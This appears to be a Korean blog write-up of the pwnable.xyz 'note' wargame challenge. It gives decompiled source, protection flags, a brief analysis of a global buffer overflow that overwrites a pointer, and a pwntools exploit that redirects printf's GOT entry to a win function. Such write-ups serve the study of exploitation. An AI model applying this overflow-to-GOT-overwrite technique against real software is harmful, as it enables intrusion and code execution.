[pwnable.xyz] note

_daeseong_ ㅣ 2025. 2. 4. 07:12

소스코드

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int int32; // eax

  setup(argc, argv, envp);
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        int32 = read_int32();
        if ( int32 != 1 )
          break;
        edit_note();
      }
      if ( int32 != 2 )
        break;
      edit_desc();
    }
    if ( !int32 )
      break;
    puts("Invalid");
  }
  return 0;
}
void edit_note()
{
  int int32; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf("Note len? ");
  int32 = read_int32();
  buf = malloc(int32);
  printf("note: ");
  read(0, buf, int32);
  strncpy(s, buf, int32);
  free(buf);
}
ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0, buf, 0x20uLL);
}
int read_int32()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x20uLL);
  return atoi(buf);
}
int win()
{
  return system("cat flag");
}
[*] '/mnt/a/pwnable.xyz/note/challenge'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

분석

edit_note 함수에서 사이즈, 내용을 입력받고 전역변수 s에 저장한다 그런데 전역변수 s 아래에는 buf 변수가 있어서 덮을 수 있다.

그래서 덮은 다음에 edit_desc 함수로 AAW가 가능하다.

 

exp.py

from pwn import *
p = remote("svc.pwnable.xyz", 30016)
#p = process("./challenge")
e = ELF("./challenge")
p.sendlineafter(b">", b"1")
p.sendlineafter(b"len", b"40")
payload = b"A"*0x20 + p64(e.got['printf'])
p.sendafter(b"note: ",payload)
p.sendlineafter(b">", b"2")
p.sendafter(b"desc: ",p64(e.symbols['win']))

p.interactive()

'Wargame' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2025.02.04
[pwnable.xyz] xor  (0) 2025.02.04
[pwnable.xyz] GrownUp  (0) 2025.02.04
[pwnable.xyz] misalignment  (0) 2025.02.04
[pwnable.xyz] add  (0) 2025.02.04